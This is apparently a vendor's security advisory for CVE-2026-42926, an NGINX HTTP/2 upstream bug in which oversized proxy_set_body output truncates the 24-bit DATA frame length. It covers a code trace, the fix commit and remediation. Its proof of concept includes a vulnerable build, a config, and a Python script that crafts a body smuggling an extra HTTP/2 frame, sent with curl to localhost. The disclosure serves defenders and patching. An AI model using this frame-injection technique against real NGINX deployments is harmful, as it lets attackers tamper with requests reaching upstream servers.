HTTP/2 upstream frame injection via oversized proxy_set_body (CVE-2026-42926)
NGINX serialized proxy_set_body output as one HTTP/2 DATA frame and truncated the 24-bit frame length
CVSS 3.1 base score
MediumVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Summary
Source
ngx_http_proxy_handler() (proxy_http_version 2 dispatch)
src/http/modules/ngx_http_proxy_module.c:879
Sink
DATA frame length serialization in ngx_http_proxy_v2_create_request()
src/http/modules/ngx_http_proxy_v2_module.c:841
When proxy_http_version 2 selected the HTTP/2 upstream proxy path and proxy_set_body generated a custom request body, ngx_http_proxy_v2_create_request() appended that body directly after a single DATA frame header in the initial upstream buffer.
HTTP/2 frame lengths are 24-bit values. The vulnerable code stored body_len into length_0, length_1, and length_2 without checking or fragmenting bodies larger than 16,777,215 bytes. If proxy_set_body produced a body over that limit, the encoded DATA frame length wrapped to the low 24 bits while the full body bytes were still sent. The upstream HTTP/2 peer would consume only the wrapped length as DATA payload, then parse the remaining attacker-controlled body bytes as subsequent HTTP/2 frame headers and payload.
The F5 CNA record for CVE-2026-42926 describes this as an ngx_http_proxy_v2_module encoding error affecting NGINX Open Source configurations that set proxy_http_version to 2 and also use proxy_set_body. The upstream fix in commit c24fb25 stops inlining proxy_set_body output as a prebuilt DATA frame; it places the generated body in a normal request-body chain so ngx_http_proxy_v2_body_output_filter() frames it into bounded DATA frames respecting NGX_HTTP_V2_DEFAULT_FRAME_SIZE and flow-control windows.
Severity
- Attack vectorAV
- Network
- Attack complexityAC
- Low
- Privileges requiredPR
- None
- User interactionUI
- None
- ScopeS
- Changed
- ConfidentialityC
- None
- IntegrityI
- Low
- AvailabilityA
- None
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlledsrc/
http/ modules/ ngx_http_proxy_module.c:879 ngx_http_proxy_handler() (proxy_http_version 2 dispatch)
- Step 01src/
http/ modules/ ngx_http_proxy_module.c:195-200,599-604,879-880 proxy_http_version 2is a valid proxy configuration value. When selected, the normal proxy handler dispatches the request into the HTTP/2 upstream implementation.cpp static ngx_conf_enum_t ngx_http_proxy_http_version[] = { { ngx_string("1.0"), NGX_HTTP_VERSION_10 }, { ngx_string("1.1"), NGX_HTTP_VERSION_11 }, #if (NGX_HTTP_V2) { ngx_string("2"), NGX_HTTP_VERSION_20 }, #endif { ngx_null_string, 0 } }; /* directive */ { ngx_string("proxy_http_version"), NGX_HTTP_MAIN_CONF|NGX_HTTP_SRV_CONF|NGX_HTTP_LOC_CONF|NGX_CONF_TAKE1, ngx_conf_set_enum_slot, NGX_HTTP_LOC_CONF_OFFSET, offsetof(ngx_http_proxy_loc_conf_t, http_version), &ngx_http_proxy_http_version }, if (plcf->http_version == NGX_HTTP_VERSION_20) { return ngx_http_proxy_v2_handler(r); } - Step 02src/
http/ modules/ ngx_http_proxy_module.c:343-348,4058-4070 proxy_set_bodystores a configured complex value inbody_source, then compiles it intobody_lengthsandbody_values. Those script arrays can include request-derived variables, so the generated body length and bytes can depend on attacker-controlled input.cpp { ngx_string("proxy_set_body"), NGX_HTTP_MAIN_CONF|NGX_HTTP_SRV_CONF|NGX_HTTP_LOC_CONF|NGX_CONF_TAKE1, ngx_conf_set_str_slot, NGX_HTTP_LOC_CONF_OFFSET, offsetof(ngx_http_proxy_loc_conf_t, body_source), NULL }, if (conf->body_source.data && conf->body_lengths == NULL) { ngx_memzero(&sc, sizeof(ngx_http_script_compile_t)); sc.cf = cf; sc.source = &conf->body_source; sc.flushes = &conf->body_flushes; sc.lengths = &conf->body_lengths; sc.values = &conf->body_values; sc.complete_lengths = 1; sc.complete_values = 1; if (ngx_http_script_compile(&sc) != NGX_OK) { return NGX_CONF_ERROR; } } - Step 03src/
http/ modules/ ngx_http_proxy_v2_module.c:449-463 (before fix) In the vulnerable HTTP/2 request builder,
body_lenis computed fromproxy_set_bodyscripts and added to the initial upstream buffer size, together with one DATA frame header. No upper bound is checked against the HTTP/2 24-bit frame length field.cpp body_len = 0; if (plcf->body_lengths) { le.ip = plcf->body_lengths->elts; le.request = r; le.flushed = 1; while (*(uintptr_t *) le.ip) { lcode = *(ngx_http_script_len_code_pt *) le.ip; body_len += lcode(&le); } ctx->ctx.internal_body_length = body_len; len += sizeof(ngx_http_proxy_v2_frame_t); len += body_len; - Step 04src/
http/ modules/ ngx_http_proxy_v2_module.c:837-863 (before fix) The vulnerable sink serializes
body_leninto only three length bytes, marks the DATA frame as END_STREAM, and then writes the full generated body immediately after the frame header.cpp if (plcf->body_values) { f = (ngx_http_proxy_v2_frame_t *) b->last; b->last += sizeof(ngx_http_proxy_v2_frame_t); f->length_0 = (u_char) ((body_len >> 16) & 0xff); f->length_1 = (u_char) ((body_len >> 8) & 0xff); f->length_2 = (u_char) (body_len & 0xff); f->type = NGX_HTTP_V2_DATA_FRAME; f->flags = NGX_HTTP_V2_END_STREAM_FLAG; f->stream_id_0 = 0; f->stream_id_1 = 0; f->stream_id_2 = 0; f->stream_id_3 = 1; e.ip = plcf->body_values->elts; e.pos = b->last; e.request = r; e.flushed = 1; e.skip = 0; while (*(uintptr_t *) e.ip) { code = *(ngx_http_script_code_pt *) e.ip; code((ngx_http_script_engine_t *) &e); } b->last = e.pos; } - Step 05src/
http/ modules/ ngx_http_proxy_v2_module.c:991-1030 (before fix) The first upstream buffer is treated as preframed headers and sent as-is. Because the oversized
proxy_set_bodyDATA frame was embedded in that same buffer, it bypassed the later output filter logic that would normally split request body data into valid HTTP/2 DATA frames.cpp if (!ctx->header_sent) { /* first buffer contains headers */ ctx->header_sent = 1; if (ctx->id != 1) { /* keepalive connection: skip connection preface, * update stream identifiers */ b = ctx->in->buf; b->pos += sizeof(ngx_http_proxy_v2_connection_start) - 1; /* ... rewrite frame stream IDs ... */ } if (ctx->in->buf->last_buf) { ctx->output_closed = 1; } *ll = ctx->in; ll = &ctx->in->next; ctx->in = ctx->in->next; } - Step 06src/
http/ modules/ ngx_http_proxy_v2_module.c:875-904,1091-1168 (fix) Commit
c24fb25creates a separate body buffer forproxy_set_bodyoutput and lets the existing HTTP/2 body output filter frame it in chunks capped byNGX_HTTP_V2_DEFAULT_FRAME_SIZEand current flow-control windows.cpp /* create_request(): generated body becomes a request body buffer */ } else if (body_len) { u->request_bufs = cl; b = ngx_create_temp_buf(r->pool, body_len); if (b == NULL) { return NGX_ERROR; } cl->next = ngx_alloc_chain_link(r->pool); if (cl->next == NULL) { return NGX_ERROR; } cl = cl->next; cl->buf = b; e.ip = plcf->body_values->elts; e.pos = b->last; e.request = r; e.flushed = 1; e.skip = 0; while (*(uintptr_t *) e.ip) { code = *(ngx_http_script_code_pt *) e.ip; code((ngx_http_script_engine_t *) &e); } b->last = e.pos; b->last_buf = 1; } /* body_output_filter(): frame length is bounded */ pos += ngx_min(NGX_HTTP_V2_DEFAULT_FRAME_SIZE, limit); len = (ngx_uint_t) (pos - b->pos); f->length_0 = (u_char) ((len >> 16) & 0xff); f->length_1 = (u_char) ((len >> 8) & 0xff); f->length_2 = (u_char) (len & 0xff); f->type = NGX_HTTP_V2_DATA_FRAME; f->flags = 0; - Sinksrc/
http/ modules/ ngx_http_proxy_v2_module.c:841 DATA frame length serialization in ngx_http_proxy_v2_create_request()
Impact
Reported impact
An attacker can manipulate the HTTP/2 byte stream delivered to the upstream peer. Depending on the upstream HTTP/2 implementation and the injected frame sequence, this can alter upstream request semantics, inject extra frames on the stream or connection, reset streams, or otherwise violate the proxy's intended request boundary. The CNA-scored direct impact is low integrity impact on a changed scope.
Attack surface
NGINX Open Source deployments using the HTTP/2 upstream proxy path with proxy_http_version 2 and proxy_set_body in an affected version. The CVE record marks NGINX Open Source versions from 1.29.4 before 1.30.1 as affected, with 1.30.1 and 1.31.0 containing the fix.
Preconditions
The target location must proxy to an HTTP/2 upstream and use proxy_set_body. Practical exploitation requires the configured body expression to generate more than 16,777,215 bytes and to include attacker-controlled bytes after the wrapped DATA length boundary, for example through request-derived variables.
Attack path
- 1
Send a request to a location configured with
proxy_http_version 2andproxy_set_body. - 2
Make the configured
proxy_set_bodyexpression produce a body larger than the 24-bit HTTP/2 frame length maximum. - 3
Place crafted bytes after the low-24-bit DATA payload boundary.
- 4
NGINX writes one DATA frame header whose length is
body_len & 0xffffff, then sends the full body bytes. - 5
The HTTP/2 upstream peer parses the surplus bytes as attacker-controlled frame headers and payload.
Proof of concept
- 01
Environment setup
Use an affected NGINX Open Source build from 1.29.4 before 1.30.1, or build the parent revision before
c24fb25:bash git clone https://github.com/nginx/nginx.git cd nginx git checkout 2046b45aa0c6e712c216b9075886f3f26e9b4ca9 ./auto/configure --prefix="$PWD/build" \ --with-http_v2_module \ --without-http_rewrite_module --without-http_gzip_module make -j"$(sysctl -n hw.ncpu 2>/dev/null || getconf _NPROCESSORS_ONLN)" make install - 02
Target configuration
Run a raw TCP capture service as the upstream and configure NGINX to proxy HTTP/2 with a generated body:
nginx worker_processes 1; error_log logs/error.log debug; pid logs/nginx.pid; events { worker_connections 1024; } http { client_max_body_size 32m; client_body_buffer_size 32m; server { listen 127.0.0.1:8080; location /h2-proxy { proxy_http_version 2; proxy_set_body $request_body; proxy_pass http://127.0.0.1:9000; } } }A simple Python TCP server that reads and saves all bytes from port
9000is enough to observe the malformed upstream stream. - 03
Exploit delivery
Send a body larger than the HTTP/2 24-bit frame length limit. The three DATA length bytes encode
body_len & 0xffffff, so a body of16,777,216 + 9bytes is advertised as a 9-byte DATA frame. Put 9 harmless bytes first, then place the injected HTTP/2 frame bytes immediately after that wrapped DATA payload boundary:bash python3 - <<'PY' > /tmp/h2-inject-body.bin import sys wrap = 1 << 24 prefix = b'A' * 9 # Empty SETTINGS frame with ACK flag: length=0, type=4, flags=1, stream=0. frame = b'\x00\x00\x00\x04\x01\x00\x00\x00\x00' filler = b'B' * (wrap - len(frame)) sys.stdout.buffer.write(prefix) sys.stdout.buffer.write(frame) sys.stdout.buffer.write(filler) PY curl -i --data-binary @/tmp/h2-inject-body.bin \ http://127.0.0.1:8080/h2-proxyThen inspect the captured upstream bytes around the DATA frame boundary.
- 04
Expected response
On a vulnerable build, the initial upstream buffer contains a DATA frame whose three-byte length field is only the low 24 bits of the generated body length, while the full body bytes follow. Bytes after the declared DATA payload boundary are therefore presented to the upstream parser as additional HTTP/2 frame data. On a fixed build, the generated body is emitted by the body output filter as valid DATA frames no larger than
NGX_HTTP_V2_DEFAULT_FRAME_SIZE. - 05
Outcome
The PoC demonstrates the encoding error that CVE-2026-42926 describes: oversized
proxy_set_bodyoutput can escape the intended DATA payload boundary and become attacker-controlled HTTP/2 frame bytes to the upstream peer.
Remediation
Guidance
Upgrade NGINX Open Source to 1.30.1, 1.31.0, or later, or apply commit c24fb259d11252623e64e787fa22288496c93773. As defense in depth before upgrading, avoid proxy_set_body with HTTP/2 upstream proxying when the generated body can include large attacker-controlled input.
if (plcf->body_values) {f = (ngx_http_proxy_v2_frame_t *) b->last;b->last += sizeof(ngx_http_proxy_v2_frame_t);f->length_0 = (u_char) ((body_len >> 16) & 0xff);f->length_1 = (u_char) ((body_len >> 8) & 0xff);f->length_2 = (u_char) (body_len & 0xff);f->type = NGX_HTTP_V2_DATA_FRAME;f->flags = NGX_HTTP_V2_END_STREAM_FLAG;e.ip = plcf->body_values->elts;e.pos = b->last;e.request = r;e.flushed = 1;e.skip = 0;while (*(uintptr_t *) e.ip) {code = *(ngx_http_script_code_pt *) e.ip;code((ngx_http_script_engine_t *) &e);}b->last = e.pos;}} else if (body_len) { u->request_bufs = cl; b = ngx_create_temp_buf(r->pool, body_len); if (b == NULL) { return NGX_ERROR; } cl->next = ngx_alloc_chain_link(r->pool); if (cl->next == NULL) { return NGX_ERROR; } cl = cl->next; cl->buf = b; e.ip = plcf->body_values->elts; e.pos = b->last; e.request = r; e.flushed = 1; e.skip = 0; while (*(uintptr_t *) e.ip) { code = *(ngx_http_script_code_pt *) e.ip; code((ngx_http_script_engine_t *) &e); } b->last = e.pos; b->last_buf = 1;}
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.
